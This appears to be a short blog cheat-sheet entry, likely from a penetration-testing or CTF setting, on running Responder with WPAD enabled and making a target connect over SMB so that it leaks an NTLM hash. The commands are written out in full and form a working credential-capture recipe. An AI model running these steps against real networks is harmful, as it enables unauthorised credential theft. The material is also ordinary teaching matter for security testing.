responder: Listen with responder on a network and wait for AD systems to ask for a DC. This can reveal a NTLM hash. (Source)
Start responder on the own system:
sudo responder -I tun0 --wpad
Connect from the target system to this system via smb. In the Windows explorer, or in the command line via
dir \\$ownSystem\nonExistingShare

Leave a Reply
You must be logged in to post a comment.